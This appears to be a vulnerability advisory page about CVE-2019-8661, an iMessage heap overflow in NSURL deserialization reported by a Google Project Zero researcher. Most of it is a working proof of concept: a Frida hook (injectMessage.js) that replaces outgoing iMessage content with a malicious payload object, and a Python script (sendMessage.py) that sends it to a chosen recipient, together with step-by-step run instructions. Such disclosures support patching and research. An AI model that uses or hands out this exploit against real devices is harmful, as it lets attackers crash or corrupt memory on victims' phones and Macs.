A security vulnerability has been found in Apple’s chat program iMessage

Summary:
A security researcher by the name of Natalie Silvanovich
who is part of Google’s Project zero team has found
a vulnerability affecting iMessage
that lets the malicious third party form a malicious message that crashes
the receivers device.
The vulnerability has been reserved the CVE CVE-2019-8661
The vulnerability exploits the unsafe function strcat_chk
that is being used in
MacOSX’s CarbonCore framework via its ALI_Get_UTF8Path
The author describes the vulnerability as the following:
There is a heap overflow in [NSURL initWithCoder:] that can be
reached via iMessage and likely other paths.
When an NSURL is deserialized, one property its
plist can contain is NS.minimalBookmarkData, which is
then used as a parameter for [NSURL URLByResolvingBookmarkData:options:relativeToURL:bookmarkDataIsStale:error:].
This method uses a wide variety of code to parse the provided bookmark data.
On a Mac, if the data is a pre-2012 alias file, it will
be processed using the FSResolveAliasWithMountFlags function
in the CarbonCore framework.
This function can eventually call ALI_GetUTF8Path,
which has an unsafe call to strcat_chk, leading to memory corruption.
Proof of concept
A python script has been written to demonstrate how this could be exploited using the python framework frida
Steps
First step install the python frame work frida with python’s package manager pip
Second step Edit sendMessage.py and add the receivers email or phone number
Third step Edit the injectMessage.js file and define the path of the obj file.
the obj file you will find in the link to the archive file on Packetstorm Security.Last step Run the sendMessage.py script: python sendMessage.py
Scripts
injectMessage.js
// Whether the serialized outgoing message should be replaced entirely.
var replaceSerializedMessage = false;
// Create the replacement data.
var dataLen = 0x100;
var rawData = new Uint8Array(dataLen);
for (var i = 0; i < dataLen; i++)
rawData[i] = 0x41;
var buffer = Memory.alloc(dataLen);
buffer.writeByteArray(rawData.buffer);
var replacementData = ObjC.classes.NSData.dataWithBytes_length_(buffer, dataLen);
// Hook the message serialization routine.
var jw_encode_dictionary_addr = Module.getExportByName(null, "JWEncodeDictionary");
send("Hooking JWEncodeDictionary" + jw_encode_dictionary_addr);
Interceptor.attach(jw_encode_dictionary_addr, {
onEnter: function(args) {
var dict = ObjC.Object(args[0]);
if (dict == null) {
return;
}
send(dict.toString())
var t = dict.objectForKey_("t")
if (t == null) {
return;
}
if (t == "REPLACEME") {
var newDict = ObjC.classes.NSMutableDictionary.dictionaryWithCapacity_(dict.count());
console.log("here");
var d = ObjC.classes.NSData.dataWithContentsOfFile_("PATH/obj");
console.log(d);
var n = ObjC.classes.NSNumber.numberWithInt_(0x77777);
var a = ObjC.classes.NSMutableArray.arrayWithObject_("mailto:asdf@gmail.com");
a.addObject_("tel:+16508805555");
newDict.setObject_forKey_("com.apple.messages.MSMessageExtensionBalloonPlugin.com.apple.PassbookUIService.PeerPaymentMessagesExtension", "bid");
newDict.setObject_forKey_(a, "p");
newDict.setObject_forKey_(d, "bp");
newDict.setObject_forKey_("B1A83E5A-F365-4715-9960-B9C53F8AE987", "gid");
newDict.setObject_forKey_(8, "gv");
newDict.setObject_forKey_(0, "p");
newDict.setObject_forKey_("D5C6AEB7-FBD8-41AA-89CD-F8129C4261B1", "r");
newDict.setObject_forKey_(1, "v");
args[0] = newDict.handle;
send("DONE");
}
},
onLeave: function(retval) {
if (replaceSerializedMessage) {
console.log("replacing")
retval.replace(replacementData);
replaceSerializedMessage = false;
}
}
});
sendMessage.py
import frida
import sys
import subprocess
import time
# define the recievers email or phone number
receiver = "YOUR EMAIL"
exit = False
def on_message(message, data):
global exit
if message['type'] == 'send':
payload = message['payload']
if payload == "DONE":
print("done")
exit = True
return
else:
print(message)
session = frida.attach("imagent")
code = open('injectMessage.js', 'r').read()
script = session.create_script(code);
script.on("message", on_message)
script.load()
# Send a message through apple script. Our hook will detect it and replace it before sending.
subprocess.call(["osascript", "sendMessage.applescript", receiver, "REPLACEME"])
while not exit:
time.sleep(0.1)
The same author is also behind CVE-2019-8646 which
can be used to remotely steal files from a targets device throw iMessage.
External links:
Packetstorm Security Mirror of the vulnerability
Frida
Natalie Silvanovich website
Google project zero
CVE-2019-8646 video
Stay up to date with Vulnerability Management and build cool things with our API